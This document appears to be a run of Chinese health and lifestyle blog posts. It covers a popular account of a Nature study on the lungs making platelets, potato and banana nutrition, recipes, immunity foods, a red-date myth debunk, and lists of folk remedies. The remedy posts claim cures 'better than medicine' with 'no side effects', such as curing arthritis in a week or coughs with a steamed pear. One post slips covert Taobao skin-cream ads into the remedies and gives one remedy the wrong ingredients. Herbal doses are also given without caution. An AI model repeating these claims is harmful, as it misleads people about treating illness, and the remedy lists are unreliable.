将家里种盆栽的小盆里种点香菜,不仅能当菜吃,还能驱赶蚊虫。可谓是一举两得哦。没想到香菜不仅可以吃,还有这么多妙用,赶快分享给身边的朋友,一起学起来吧~。

2021-01-11 / by / in
《自然》颠覆发现:肺竟然是个造血器官!(视频)

健康/肺/生命/器官/造血/造血器官

顶级期刊《自然》3月22日由加州大学旧金山分校(UCSF)Mark R.Looney教授团队首次研究证实肺是个造血器官,动物体内有一半以上的血小板来自于肺部。

更重要的是他们还首次发现肺部储存有多种造血祖细胞,这些细胞可以用于恢复受损骨髓的造血能力。


加州大学旧金山分 Mark R.Looney教授 (UCSF图片)

“毫无疑问,这一重要发现证明肺是个非常复杂的器官,它可不仅仅是个呼吸器官,还是形成血液重要成分的关键器官,”Looney教授告诉UCSF新闻部门的Nicholas Weiler,“我们在小鼠体内观察到的现象,强烈地暗示肺在人体血液形成中也有非常重要的作用。”对于数以百万计的血液病患者和需要接受肺移植的患者而言,这个新发现,有可能对他们疾病的治疗产生巨大而深远的影响。


败血症

Looney教授是肺部先天性免疫学领域的专家,2011年为了观察小鼠肺部的免疫监视活动,Looney教授和同校的病理学专家Matthew F Krummel教授一起发明了“双光子活体成像技术”( 2-photon intravital microscopy;2PIVM)(2),这种成像方法允许研究人员执行非常微妙的观察任务,可以让研究人员看到活的小鼠肺里微小血管内的单个细胞的行为。

在一次日常的研究中,Looney教授团队正在利用双光子活体成像技术观察血液中的血小板与肺部免疫系统之间的相互作用,意外地在肺血管里看到了大量生产血小板的巨核细胞和各种造血祖细胞(造血祖细胞由造血干细胞分化而来,与全能的造血干细胞相比,造血祖细胞只能向一个或几个血细胞系定向增殖分化。)。

视频截图

血小板最早发现于1882年。那一年,一个叫JBBizozzero(1846-1901;他也是幽门螺杆菌的发现者)的意大利医师发现,一直以来被认为是血液中无功能的细胞碎片的家伙,居然在血管损伤后的止血过程中起着重要作用,血小板这才有了自己的名字。后来科学家逐渐发现,血小板的主要功能是凝血和止血,修补破损的血管,以及参与炎症反应,但是它究竟是如何产生的我们还是知之甚少(3)。

在这个研究出现之前,学界普遍认为,巨核细胞主要存在于骨髓里,并在骨髓里完成生产血小板的过程。虽然之前也有人在肺里观察到巨核细胞(4),并且观察到了一种奇怪的现象:血液从肺部穿过之后,血小板变多了,生产血小板的巨核细胞变少了(5);但是并不确切知道肺里面发生了什么。于是有人猜想,巨核细胞在肺里生产血小板了。但是没有直接的证据,这个问题也就悬而未决的放置了好多年。

视频截图

穿梭中的巨核细胞【6】

当Looney教授团队利用双光子活体成像技术实时地看到巨核细胞的活动时,Looney教授认为机会来了。 “当我们看到大量的巨核细胞生活在肺里的时候,我们觉得我们必须得看看它们在里面都干了些啥,”本研究的第一作者Emma Lefrancais博士告诉Weiler。

于是,他们构建了一个巨核细胞会发出绿色荧光的模式小鼠,然后用双光子活体成像系统盯着小鼠的肺部,记录下巨核细胞的一举一动。很快,他们就有了一个惊人的发现:巨核细胞在小鼠的肺部生产血小板了,而且每小时生产的数量超过1000万个。这就意味着小鼠体内一半以上的血小板是来自于肺的,生产血小板的主要器官不是骨髓!一直以来笼罩在科学家心头的迷雾终于被驱散了。最后,Looney教授通过肺移植实验证明,肺里面的巨核细胞是从骨髓里游过来的。

“这太有趣了,巨核细胞竟然从骨髓中跨越万水千山来到肺中生产血小板,”论文的并列第一作者Guadalupe ortiz-Munoz对Weiler说,“有可能对于巨核细胞而言,肺里面的血管更狭窄,产生的压力更利于它们生产血小板;也有可能是肺在释放一种信号分子,更有利于巨核细胞生产血小板。”

视频截图

在肺血管穿梭的巨核细胞在生产血小板【6】

为了验证肺部巨核细胞生产血小板的能力,研究人员构建了一个血小板水平低的模式小鼠,然后给它们移植一个新肺,这个肺里携带有含绿色荧光蛋白的巨核细胞。移植完成之后,模式小鼠的血小板水平很快就回升了,而且是绿汪汪的一波血小板。这种稳定的水平持续了数月,明显长于巨核细胞和血小板的寿命。这显然是潜伏在肺里的巨核细胞祖细胞在源源不断的分化成巨核细胞,才保证了小鼠体内血小板水平的稳定。肺对动物血液成分稳定的重要性可见一斑。

既然肺里的造血祖细胞如此威猛,Looney教授团队想看看在骨髓造血干细胞有缺陷的模式小鼠身上,肺里面的造血祖细胞是不是有能力逆转这一缺陷。

于是他们给模式小鼠移植了健康小鼠的肺脏。最终,他们如愿在模式小鼠的骨髓里发现了长期造血干细胞、短期造血干细胞、多能祖细胞2和多能祖细胞3/4,以及嗜中性粒细胞、B细胞和T细胞等免疫细胞。这就意味着驻扎在肺里面的造血祖细胞在骨髓受损的时候,可以迁移到骨髓,恢复骨髓造血能力。

Looney教授认为,这是学界第一次指出肺里存在造血祖细胞。犹他州立大学医学院内科系副主任医师Guy A.Zimmerman博士认为,这个研究改变了我们对血细胞形成、肺生物学和疾病,以及器官转移的认知。

参考资料:

【1】Lefrançais E,Ortiz-Muñoz G,Caudrillier A,Mallavia B,Liu F,et al.2017.The lung is a site of platelet biogenesis and a reservoir for haematopoietic progenitors.Nature advance online publication

【2】Looney MR,Thornton EE,Sen D,Lamm WJ,Glenny RW,Krummel MF.2011.Stabilized imaging of immune surveillance in the mouse lung.Nat Meth 8:91-6

【3】Machlus KR,Italiano JE.2013.The incredible journey:From megakaryocyte development to platelet formation.The Journal of Cell Biology 201:785-96

【4】AschoffL.1893.Uber capillare Embolie von riesenkemhaltigen Zellen.Arch Pathol Anat Phys 134:11-4

【5】Howell WH,Donahue DD.1937.THE PRODUCTION OF BLOOD PLATELETS IN THE LUNGS.The Journal of Experimental Medicine 65:177-203

【6】http://www.ucsf.edu/news/2017/03/406111/surprising-new-role-lungs-making-blood

2021-01-10 / by / in
把它换成主食,三高都降了!最理想的吃法,在家就能做!

健康/土豆/降三高

土豆学名马铃薯,是人们喜爱的蔬菜之一,更重要的是把土豆换成主食,能防止三高,含有丰富的膳食纤维,被营养专家称之为十全十美的食物。

有人恐怕要问了:“中国人吃惯了米面,土豆能当主食吗?”其实,民间早有“薯豆半年粮”的俗语,土豆等薯类被人们用来果腹。对于糖尿病、高血压和高血脂病人,土豆都是比较好的选择。

土豆比香蕉更补钾,降血压效果更强!土豆含钾高,钾可预防中风,协助肌肉正常收缩,有防治高血压和心脏病的功效,这也让土豆享有“地下苹果”的美誉。

世界卫生组织建议,每人每天应摄取3510毫克的钾元素。有高血压的朋友,更应该注重补钾。

在很多人心中,香蕉是最好的钾元素来源,但事实并非如此。

有关数据显示,100克香蕉中含钾256毫克,而相同重量的土豆含342毫克,芋头含378毫克,并且后两者的热量均低于香蕉。

美国西北大学医学院教授琳达·霍恩表示:以土豆为代表的含钾蔬果有助于降低血压,每天坚持吃1个中等大小的土豆(约130克),可使脑卒中的发病率降低40%。


把主食换成它

土豆含有抗性淀粉,能降低胆固醇。由于土豆富含碳水化合物,所以一直被当成补充能量的食物,但其实它也是维生素C和膳食纤维的极佳来源。

土豆中含有的抗性淀粉对消化系统功能有益,当其到达大肠部位后,能发挥出抵御癌症和降低胆固醇的功效。

此外,土豆也是B族维生素和微量元素的很好来源,同时它的脂肪含量较低,是能保护心脏的白色蔬菜。

土豆能帮助控制血糖,糖尿病人的福音!土豆富含抗性淀粉和膳食纤维,能令人体消化缓慢,升血糖速度减慢,易于控制餐后血糖和胰岛素分泌。

土豆浑身都是宝,老人吃它延寿、护心护血管。土豆的营养素配比好,含8%~29%的淀粉,低于米饭、馒头、面包等食物;蛋白质含量约0.75%~4.6%,其中赖氨酸达93毫克/100克,色氨酸也有32毫克/100克,这都是其他粮食缺乏的;脂肪含量低,仅有0.2%左右。

中医认为,土豆性平味甘,具有健脾益气、和胃调中、减肥降脂等功效,可辅助治疗消化不良、习惯性便秘、神疲乏力、慢性胃痛、关节疼痛、皮肤湿疹等。特别是老年人,经常食用土豆十分有益于健康,可养心益气,延年益寿。

现代研究显示,土豆的维生素含量甚至与蔬菜相当,尤其是维生素C和B族维生素含量较高。前者是抗氧化剂,保护身体免受自由基损害,后者有利于心血管健康。


把主食换成它

土豆还有优质蛋白,蛋白质量可与鸡蛋媲美;其次土豆含镁和膳食纤维丰富,有益于心脏和心血管健康。

土豆营养吃法排行榜,蒸土豆才是最理想的方式!

第一名是:蒸土豆,对营养影响很小。蒸土豆是最理想的烹调方式,对营养影响很小,还能保留天然清香。蒸熟的土豆维C保留率在80%以上,而微量元素、膳食纤维等几乎不损失,而且淀粉颗粒充分糊化,更易消化吸收。

第二名是:土豆泥,口感酥软,适合老人和孩子。经过合理搭配,比如酸奶坚果土豆泥,还能补充蛋白质、微量元素,能帮着控制体重、血糖、血压等。但如果加入人造奶油、香精、糖等,土豆泥的营养就会大打折扣。

第三名是:烧土豆,断面少,水溶性维生素损失少。土豆烧牛肉是绝配,牛肉能补充土豆中缺乏的矿物质铁和蛋白质,土豆则可补充牛肉缺少的碳水化合物和维生素C。土豆富含膳食纤维,可以减少人体对牛肉中含有的胆固醇的吸收。需要注意的是,烧土豆前不要先油炸,否则会破坏其他营养素,增加脂肪摄入。

第四名是:炒土豆片,烹制时间较短,对营养素的破坏程度小。刀工比土豆丝少,可以减少营养流失。需要注意,土豆片切好马上烹饪,别用水泡。土豆全身都是宝,有“地下苹果”的美誉。把主食换成土豆,简直是“三高”人群的福音,老人吃它更能延寿、护心护血管。


把主食换成它

2021-01-10 / by / in
手脚冰凉,一招搞定,暖和一整天!男女皆用!

手脚冰凉/红枣/秋冬小妙招/风寒咳嗽

手脚冰凉可是很多人常见的状况,尤其秋冬更使许多人手脚冰凉,今天和大家分享一招,轻松搞定手脚冰凉。另外还有十几种秋冬小妙招,关键时候用上它,免得家人受罪。

01 手脚冰凉一碗三红汤

准备:红豆250克+枣10枚+红糖2勺

红豆和红枣洗净放入锅中煮开,然后加红糖,慢火再煮10分钟即可,每天早晨喝一碗,连续一周,从此告别手脚冰凉!已有数万人验证过此方,十分管用。


红枣 

02 风寒咳嗽 冰糖花椒煮梨

准备:梨1个+花椒10粒+冰糖5粒

把梨洗干净,挖去核,填入花椒和冰糖,放进碗里,上锅蒸半个小时就可以,一般吃1-2个梨就能完全好,比吃药管用,尤其对孩子风寒咳嗽很有效,还没有副作用。

03 手足皲裂 用香蕉皮擦

准备:香蕉皮+温水

如果秋冬季节皮肤容易裂口,用香蕉皮擦拭就可以,不过记得先用温水泡上10分钟,泡软后再擦,一般连续擦3-5次,裂口就能完全愈合,并且后期不容易反复。


香蕉 

04 心脑血管病 陈醋泡黑豆

准备:陈醋100克+黑豆300克

黑豆煮熟捞进碗里,倒上陈醋浸泡3天,每天吃一勺,降血脂防血管病。另外,常吃对脸上色斑也有改善,如果想彻底去掉色斑,可以用带防伪的·肤斯曼祛斑霜·淘宝有,再顽固的斑点也能去掉。

05 口腔溃疡 蜂蜜淡盐水

准备:蜂蜜10克+盐2克

把蜂蜜和食盐倒入杯子,用温水冲开,连喝2-3次,口腔溃疡就能完全好。它对黑眼圈眼袋也有非常好的效果,配合外用·蕴妙活肤眼霜·天猫有,每天抹一抹,很快就消失,许多明星都在用这个方法。

06 急性腹泻 大蒜胡萝卜汤

准备:大蒜1头+胡萝卜1根

把胡萝卜切片,倒入锅中,加2碗水,煮开后放大蒜进去,再煮5分钟,喝上之后很快腹泻就会停止,但是记住,腹泻停了就别喝了,以防引起便秘。


胡萝卜

07 皮肤瘙痒 金银花泡蜂蜜

准备:金银花10克+蜂蜜30克

用金银花泡蜂蜜水喝,对皮肤瘙痒有很好的改善,如果皮炎湿疹引起的瘙痒配合外用带防伪的·齐峰堂本肤膏·淘宝有,不仅快速止痒还能彻底恢复,多年的皮肤问题,最后用它好了。

08 慢性鼻炎 生姜核桃饮

准备:金银花10克+蜂蜜30克

锅中加两碗水,然后放入核桃仁和姜片,煮沸后再煮5分钟,连续喝7-10天,就有很好改善。这个方法对抗衰老效果也不错,但是想彻底去掉面部皱纹,可以用·蕴妙精华液·天猫有,不仅能快速消除皱纹,还能预防皱纹的产生,不少明星抗衰都用它。

09 风寒感冒 红糖姜水汤

准备:姜5片+红糖200克

生姜切成5片,也可以把片切成丝,锅中加2碗水,倒入姜片和红糖,煮沸后冷到合适温度,趁热喝,连续喝2-3次,风寒感冒就好的差不多,比吃药强多了,还没有副作用。


蜂蜜

10 关节炎症 蜂蜜加白醋

准备:蜂蜜10克+白醋10克

把蜂蜜、白醋倒入杯子中,用温水冲服,一天2次,连喝一周关节炎症消失,这个方法对灰指甲也有不错效果,如果有灰甲可以用·齐峰堂灰甲清·淘宝有,再严重的灰甲很快就好,脚气就用·齐峰堂足宝粉·,连续泡几次就能完全好。

11 心情抑郁 玫瑰花茶

准备:玫瑰花+温水

秋冬季节,万物凋零,人很容易情绪低落,用玫瑰花泡茶喝就能改善。喝玫瑰花茶还能祛痘,同时配合外用·艾林卡祛痘套装·淘宝有,连续用二十多天,痘痘和痘印就能完全好,如果肌肤敏感用·艾林卡甘草面膜· ,十多天就能完全好。

12 冻手冻脚 涂山楂泥

准备:山楂2颗+塑料袋1个

只要一年有冻疮,以后年年有冻疮,教你一个办法,总结他,把山楂烤软,睡觉前涂抹在冻的部位,然后用塑料袋套上,一次就好,非常管用,不妨试试。

秋冬养生 轻松搞定

一年四季中,冬季是人体免疫力最低的时候,也是感冒咳嗽等小毛病的高发季节,上面几种小技巧,关键时刻用上它,免得家人受罪。转给你的朋友,让他们在冬季感受到你的温暖。

2021-01-09 / by / in ,
早晨吃这个,腰细了斑没了,让你年轻10岁(组图)

年轻10岁/雀斑/黑色素细胞/小秘方

雀斑是皮肤上的小褐色斑点,也是年轻人最常长的斑点之一,通常在阳光直射的地方出现,怎么去解决这个雀斑问题呢?

雀斑的形成主要是由于皮肤表皮基底层的黑色素细胞生成的黑色素过多所致。我们现在的生活方式,比老一辈的差多了,爱吃不太健康的食物,还经常熬夜,想有好皮肤,难噢。

一直认为化妆品什么的,都可以弥补一切,现在没时间,等有时间再好好保养。可是,亲爱的姑娘,现在不保养,以后想保养不就更加难了吗!此时不注意更待何时!

而要想脸色红润就需要身体中的血足。只有血足,才能使皮肤显得红润,面有光泽。因此,对于你来说,要追求面容靓丽就应该重视养血。

在天然食品中,具有保养皮肤和消除雀斑功效的食物有许多种。下面跟大家分享几种有实效的食疗方法。


西红柿

西红柿汁

每日喝1杯西红柿汁或经常吃西红柿,对防治雀斑有较好的作用。因为西红柿中含丰富的维生素C,被誉为“维生素C的仓库”。维生素C可抑制皮肤内酪氨酸酶的活性,有效减少黑色素的形成,从而使皮肤白嫩,黑斑消退。


黄瓜

黄瓜粥

取大米100克,鲜嫩黄瓜300克,精盐2克,生姜10 克。将黄瓜洗净,去皮去心切成薄片。大米淘洗干净,生姜洗净拍碎。锅内加水约1000毫升,置火上,下大米、生姜,武火烧开后,改用文火慢慢煮至米烂时下入黄瓜片,再煮至汤稠,入精盐调味即可。一日二次温服,可以润泽皮肤、祛斑、减肥。

现代科学研究证明,黄瓜含有丰富的钾盐和一定数量的胡萝卜素、维生素C、维生素B1、维生素B2、糖类、蛋白质以及磷、铁等营养成分。经常食用黄瓜粥,能消除雀斑、增白皮肤。


柠檬

柠檬冰糖汁

将柠檬榨汁,加冰糖适量饮用。柠檬中含有丰富的维生素C,100克柠檬汁中含维生素C可高达50毫克。此外还含有钙、磷、铁和B族维生素等。常饮柠檬汁,不仅可以白嫩皮肤,防止皮肤血管老化,消除面部色素斑,而且还具有防治动脉硬化的作用。


红枣

红枣粥:

将米洗净后加入干净的红枣数枚,加水适量,煮熟至稠,即可食用。

猪肝粥:

取猪肝150克,洗净切成小块,放入100克洗净的粳米中,加适量清水,并放入葱、姜、盐等调味品,共煮成粥。

鸡汤粥:

取母鸡1只,去毛,剖洗干净,加适量清水煎煮成浓汤备用。取原汁鸡汤100克,加洗净粳米100克,加适量清水煮粥,大火煮沸,小火熬稠即可。

花生牛筋粥:

取牛蹄筋80克,洗净,切成小块,与80克花生米和100克洗净的糯米共入砂锅,加清水适量煮粥,至蹄筋烂熟,米开汤稠为止。

阿胶粥:

糯米洗净,入锅煮熟,加入阿胶适量,待溶化后,加红糖若干,即可食用。

菠菜粥:

取连根新鲜菠菜100~150g,洗净后用手撕开,粳米100g,放入砂锅,加水800毫升,煮至米烂汤稠加入菠菜,即可食用。

药养:

贫血者应进补养血药膳。可用党参15克、红枣15枚,煎汤代茶饮;也可用首乌20克、枸杞20克、粳米60克、红枣15枚、红糖适量煮粥,有补血养血的功效。

[小秘方]

用冬瓜藤熬水用来擦脸、洗澡,可使皮肤滋润、雀斑消除。金盏花叶汁也有护肤除斑的功效。将金盏花叶捣烂,取汁擦涂脸部,既可消除雀斑,又能清爽和洁白皮肤。


蒲公英

蒲公英花水也能用于除斑,取一把蒲公英,倒入一茶杯开水,冷却后过滤,然后以蒲公英花水早晚洗脸,可使面部清洁,少患皮炎。

2021-01-09 / by / in
这些食物能帮你吃出免疫力 抵御病毒

哪些食物能帮你吃出满满的抵抗力来抵御病毒/中共病毒/武汉肺炎/冠状病毒/COVID-19

关爱生命,防止中共病毒,提高免疫力,从这些食物开始。

每个人都希望目前能有一种有效的药物来抵抗中共病毒的感染。尽管目前疫苗已经研发成功并开始接种,但是疫苗的研发成功却赶不上病毒的变异速度。接下来的日子,病毒还会有多少变种不得而知。在特效药没有研制出来之前,提升自身的免疫力是目前的一个重量级的武器。从目前被治愈的患者中看,基本上都是依靠自身免疫力来恢复的。因此调节好饮食恰恰是提高自身免疫力的关键。

免疫力与日常的营养平衡有很大关系,免疫力也不是吃了几样食物之后就马上可以提高的。要想真正的提高免疫力,每天摄取的食物不得少于12种,每周不得少于25种。

那么哪些食物可以帮助提高免疫力呢?

1. 薯类:

因其富含丰富的维生素C,钾和膳食纤维,以及能促进免疫活性的黏蛋白。

我们推荐以下几种食物:土豆,红薯,紫薯,山药,芋头。疫情期间建议用薯类食物代替一半或1/3的主食。


薯类,土豆,红薯,紫薯

2. 深绿色蔬菜:

深绿色蔬菜中含有丰富的叶酸。叶酸是免疫物质合成所必须的因子。建议每日摄取300-500克深绿色蔬菜。

我们推荐以下几种蔬菜:西兰花,菠菜,芥兰,芦笋,白萝卜。


西兰花等深绿色蔬菜

3. 橙黄色食物:

橙黄色食物可以在体内转变成维生素A。维生素A对于维持体内免疫功能有着重要的作用。当体内的维生素A不足时,呼吸道黏膜的抵抗力下降,就很容易得感染性的疾病。

我们推荐以下几种食物:胡萝卜,南瓜,玉米。


胡萝卜 


南瓜 

4. 水果

每日摄入200-300克富含维生素C的水果,这些水果对改善不良情绪,激发免疫活力很重要。

我们推荐:草莓,橙子,猕猴桃,苹果,桑葚,蓝莓和富含花青素的水果。


水果 

5. 豆制品

大豆制品富含很多的优质蛋白质,大豆中的膳食纤维,低聚糖和凝集素等成分有增强免疫力和抗病毒的作用。对于有高血压,冠心病,糖尿病,高血脂和脂肪肝的人建议用豆制品来替代肉类,会更有利于健康。

推荐食用:豆奶,大豆,豆腐,豆皮


豆制品

6. 酸奶

每天喝200-300毫升酸奶,能提高免疫系统对病毒和细菌的反应能力。


酸奶 

7. 茶

推荐绿茶,花茶,菊花茶。但尽量不要喝茶类的饮料,因为这类饮料中的含糖量超标。


茶 

另外,疫情期间,建议不要减肥。因为身体得不到足够的营养时免疫力也会下降。

除此之外,也需要适当的运动来增加免疫力。

2021-01-08 / by / in , ,
红糖红枣不补血!真正补血的食物是这些

真正补血的食物/补血多吃新鲜水果蔬菜/红肉 补血/红枣红糖不补血/动物血以血补血

补血对于女性来说是比较需要的一种,一般都知道红枣补血,那么红枣真的能达到补血吗?

有女性朋友觉得自己手脚冰凉、面色苍白、有气无力,一切的身体症状似乎都在说“你,贫血了”。这个时候,往往会涌现出一大批选择吃红枣、红糖补血的人。虽然吃点这些东西没太大问题,还能让自己暖和一点,但不得不强调:

这些食物不“补血”

1. 红糖不补血

红糖是没有经过精炼的糖,其中高达 96.6% 的成分是糖类,而包括铁在内的矿物质的含量非常少。

2. 红枣不补血

干枣中的铁含量大概是 2 毫克 / 100 克,鲜枣中更低,只有 1.2 毫克 / 100 克,而且枣里面的铁不好吸收。相似的,枣的含糖量也比较高。吃完红枣后觉得“精神倍增”?那也是糖的功劳。

3. 阿胶不补血


阿胶不补血 

阿胶是由驴皮熬制的,它的主要成分其实是胶原蛋白。胶原蛋白这种蛋白质,不能满足人体对氨基酸的需求,阿胶实在配不上“补血圣品”的称号。

4. 还有一种……阿胶枣,也不补血

阿胶枣,阿胶含量少得可以忽略不计。就算是阿胶添加量高达 10% 的,也只不过是前面三者的混合物而已,很显然也不补血。

真正补血的食物是这些

临床上常见的贫血是由于缺乏铁元素、红细胞破坏过度,或是大量失血等原因引起。根本问题是身体内血红蛋白数量少到了一定程度,人体才出现一系列不良症状。

真要是出现了疑似贫血的症状,而且比较严重,首先应该去医院,请专业医生判断是不是真正的贫血,再做治疗。此外,我们还应该多吃富含血红蛋白铁的食物,其次是富含植物性铁和维生素 C 的食物,比如说:

1. 多吃新鲜水果蔬菜,有帮助


多吃新鲜水果蔬菜,有帮助 

注意,是有帮助,不是说吃菠菜、苋菜这类的铁含量高的蔬菜就能补血。新鲜水果蔬菜中富含维生素 C、叶酸,维生素 C 可以帮助铁的转化和利用,叶酸可以预防恶性贫血,有利于血红蛋白的合成。

2. 红肉

包括猪肉、牛肉、羊肉在内的红色的肉,都富含血红蛋白铁。以牛肉为例,铁含量为 3.3 毫克 / 100 克。

3. 动物血

“以血补血”,还是有那么点道理的。各种动物血的血红蛋白铁也比较高,像猪血的铁含量为 8.7 毫克 / 100 克。而且,这些铁的吸收利用率很高。

4. 动物肝脏

比如,猪肝的铁含量高达 22.6 毫克 / 100 克,吸收利用率也高。

但要注意,动物肝脏的维生素 A 含量很高,如果吃过量会增加胎儿畸形的危险。孕妇的话,每次吃 15~20 克就够了。

红枣、红糖不补血,吃一吃问题不大。只是,别指望它们能帮你治病。

2021-01-08 / by / in
专业大厨做的辣椒油 又辣又香又健康(视频)

辣椒油/辣椒/自制辣椒油

辣椒又称番椒,是一种茄科辣椒属植物,辣椒中含有丰富的维生素C、β—胡萝卜 …

辣椒油,早先只是在川菜中扮演着重要的角色,现在随着喜欢吃辣的人越来越多,已经变成很多人家中不可或缺的调味料之一。凉拌菜、蘸料、水煮鱼、口水鸡中都得用到它。但自己在家做辣椒油,很容易使辣椒油只辣不香,而专业大厨做的又辣又香。

其实,自己做的时候需要掌握几个要点。一是在第一步做油炸部分的时候尽量多放香料,另外,在选择干辣椒的时候,尽量选2种辣椒,一种是线辣椒,一种灯笼椒。线椒比较辣,灯笼椒比较香,这2种椒混合起来炸出来的辣椒油才能做到又辣又香。这道视频里面只选用了一种干辣椒,您如果自己在家做可以选择2种,制作辣椒油的步骤是一样的。

材料:

油炸部分:

500克植物油,葱 2根,生姜 6片,香叶 4片,肉桂 少许,八角 2个,茴香 1汤匙,四川胡椒粉 1/2汤匙,黑胡椒粉 1汤匙,

辣椒部分:

芝麻2汤匙,红辣椒碎 250克,辣椒粉 100克,大蒜粉 1.5汤匙,冰糖 1/2汤匙,盐 1汤匙,香醋 1/2汤匙

做法:

1. 将油放入锅中,然后将油炸部分的调料全部放入油中,小火慢煎。将油温控制在140℃左右。待所有食材的香气出来后,关火,将材料捞出。

2. 继续升高油温至190℃,然后关火,将芝麻放入,然后依次放入所有的辣椒部分的材料,搅拌均匀即可。

*小贴士*

在做油炸部分的时候还可以多加一些香料,比如:香菜,花椒粒等。

2021-01-07 / by / in ,
健身者每天两条香蕉:一个月身体发生惊人变化!

香蕉食谱/每天两根香蕉/香蕉麦芬/香蕉球/香蕉汉堡/香蕉奶昔

如果给健身的人贴一个饮食标签,除了鸡胸肉西兰花,另外最多的肯定是香蕉,除了方便好吃香蕉,对健身还有非常好的功效。其实香蕉也是很棒的健康食物,对于治疗便秘有非常独特的功效

香蕉每100g,热量:91大卡

碳水化合物:20g,蛋白质 1.2g

脂肪 0.6g,钾:400mg


香蕉

健身为什么要吃香蕉?

1、美味

香蕉口感软糯香甜

入口即化而且回味无穷

一吃根本停不下来

2、抑制食欲,增强饱腹感

香蕉富含复合碳水化合物

而且蛋白质含量比一般水果高

吃一根就能产生很强的饱腹感

而且香蕉中的碳水化合物

在肠道内可以缓慢施放进入血液中

随血液运送到肌肉进行糖原合成

保持肌肉时刻在一个“满血”状态


香蕉

3、快乐水果

香蕉含有的泛酸等成分是人体的开心激素

能减轻心理压力,解除忧郁

睡前吃香蕉,还有镇静的作用

荷兰科学家研究认为最复合营养标准

又能为人脸上增添笑容的水果是香蕉

吃香蕉的人几乎没有不开心的

4、健身百搭

对健身者而言

不论你是正餐还是加餐

香蕉都是你理想食物的选择

香蕉还含有丰富的维生素C

维生素B6等,能够提高免疫力

随时为肌肉补充能量

一些美味的“香蕉食谱”,让你不再单调的吃香蕉。

高蛋白香蕉奶昔

材料:1根香蕉、200毫升左右的脱脂奶或巧克力奶、1勺蛋白粉、一小把花生/核桃仁/杏仁,根据个人情况放冰块,喜欢的话可以自行加入一点点肉桂粉、豆蔻粉、香草提取液等等。

所有材料准备好,放入搅拌机中打成奶昔状即可。只需要五分钟,很适合作为训练后的碳水-蛋白补充。

一份大约含有400大卡左右的能量、35克左右的蛋白质(看蛋白粉选择)


香蕉

低卡可口“香蕉汉堡”

材料:5根香蕉(每根去掉头尾切成5块)、2汤匙低热量花生酱、2盒香草/巧克力/原味希腊酸奶。

取一根香蕉,和花生酱还有酸奶倒入一个碗里(选希腊酸奶是因为希腊酸奶更加粘稠,方便制作),拿勺子搅碎捣匀,当做“汉堡芯”。

摆好片好的一半香蕉,一点一点拿汤匙往香蕉上放“汉堡芯”,然后盖上另一半香蕉。

最后放到冰箱里(4度左右),冻2个小时就可以吃了。做那么多其实是为了可以一次吃好几天(懒)。

“香蕉汉堡”的热量比较低,但是很顶饱,一块“小汉堡”大约有30大卡左右的能量。是平时随手零食的好选择。

燕麦香蕉球

材料:1根香蕉、一勺蛋白粉、一勺燕麦片(越纯越好)。

先把蛋白粉和燕麦片混合均匀,然后加入香蕉,用汤匙初步碾碎,混匀。然后放到搅拌机中,搅拌1-2分钟,直到混合物变得比较细腻,然后取出。

均匀搓成10个左右的小球。然后放入冰箱里冷藏2个小时左右。

这是一个低能量、又顶饿的小零食。每一个小球的热量在50大卡左右。

英式高蛋白香蕉麦芬

材料:1根香蕉、两个鸡蛋白、一盒低脂希腊酸奶、四分之三勺燕麦片、两勺蛋白粉、两小勺发酵粉、一小勺白砂糖。

预热烤箱在180摄氏度(350华氏度)。用搅拌器把所有材料混匀,尽量打到比较细腻的状态。然后均匀分装在容器中(尽量能分装到10-12个)。

放入烤箱中,上下火中层,烤17分钟左右,或者能够叉子插进去拔出来不会带上糊状物即可。

出炉的时候可以浇上一些低脂希腊酸奶或者轻奶油(一点点就好)。然后放入冰箱中冷藏2个小时左右。

这是一个很不错的点心、也可以在减脂期拿来当碳水来源。一个麦芬大约含有70大卡的能量、8克的蛋白质和7克的碳水。

还有更多的食谱等待大家的发掘,但是上述几个会是非常不错的选择!

单调吃香蕉很无聊,尝试一下用做菜的方式做香蕉,只需要很常见的材料,就能做出美味的香蕉食谱,何乐而不为呢?

 

2021-01-07 / by / in
迷你核桃派 温暖的节日小礼物~(视频)

核桃派/派/节日

核桃对我们来说肯定都不陌生,它是生活中最常见的一种食物,核桃富有营养,可以说是老少皆宜的健康零食。

今天就与大家分享山核桃派的一种美食做法。这种小核桃派的优点是比例合适,大派糖浆的成分偏多,过于甜,口感也常常又软又腻,而小派则不同,香酥可口,特别好吃。

材料:

(可做24个核桃派)

面皮部分:

黄油 170克,面粉普通面粉 220克,2汤匙糖,捏盐,1-2汤匙冷水

馅料部分:

2个鸡蛋,枫糖浆 170克,红糖 130克,1茶匙香草精,黄油 50克,山核桃(切碎)核桃 300克

做法:

烤箱提前预热到190°C.

1. 和面皮:将做面皮的料全部放在一起和成面团。

2. 做馅料:将鸡蛋,糖浆,红糖,香草精和黄油搅拌均匀。

3. 成品:面皮擀成薄片,压成圆形,放入摸具中,将核桃放入面皮里面,倒入糖浆. 将做好的派放入烤箱烤15-18分钟即可。

2021-01-06 / by / in ,
太珍贵了!140个小方子,转发一次,救人无数~建议收藏(下)

偏方/简单/验方/常用方/保健方

今天介绍给大家治百病的好方法,如果你觉得好,那你就和朋友分享吧,140个小方子,分上中下3个部分。

101.阴虚:

阴虚表现,五心烦热、自汗盗汗、口干眼干,午后潮热,面红,舌红少苔。灵芝15克,女贞子15克(先泡)煎煮待茶饮女贞子色黑入肾,其形如肾,益肾阴而固五脏之阴,借灵芝平补五脏,以补五脏之阴。阴液足了,不容易上火了,就不烦躁了,口也不干了。

102.脚气:

①复方土槿皮酊,每天洗脚后涂抹患处。 ②羊蹄皮根180克(土大黄)碾碎,+75%的酒精300m1,泡7-8天,涂于患处。

103.老年斑:

葡萄干用食醋腌制泡一夜后,去醋,嗮干每天吃一大勺,(用镇江老陈醋泡)。

104.痤疮(痘痘):

内服:枇杷逍遥饮:枇杷叶10克紫丹参10克,杏仁10克,补骨脂10克,制大黄10克,蒲公英30克,水煎汁送服5克加味逍遥丸。一周早晚各一次。

万家灯火丨外用:赵氏二白散:杏仁30克,白蔹30克,白石脂30克(研末),把鸡蛋清调药外敷皮肤上。

105.失眠:

①甘麦大枣饮:淮小麦60克,甘草30克,大枣15个,用水4碗煎成一碗,早晚各服一次。

②老年人用的口服:灵芝10克,酸枣仁10克,莲子芯3克,桂圆肉5克,煮水代茶饮。

106.白发:

桑麻丸:首乌100克,鸡蛋2个加水煮,水量以淹没药蛋即可,至蛋熟时取蛋去壳再煮15分钟。再加少许白糖,稍煮片刻去渣吃蛋饮汤。

107.脱发:

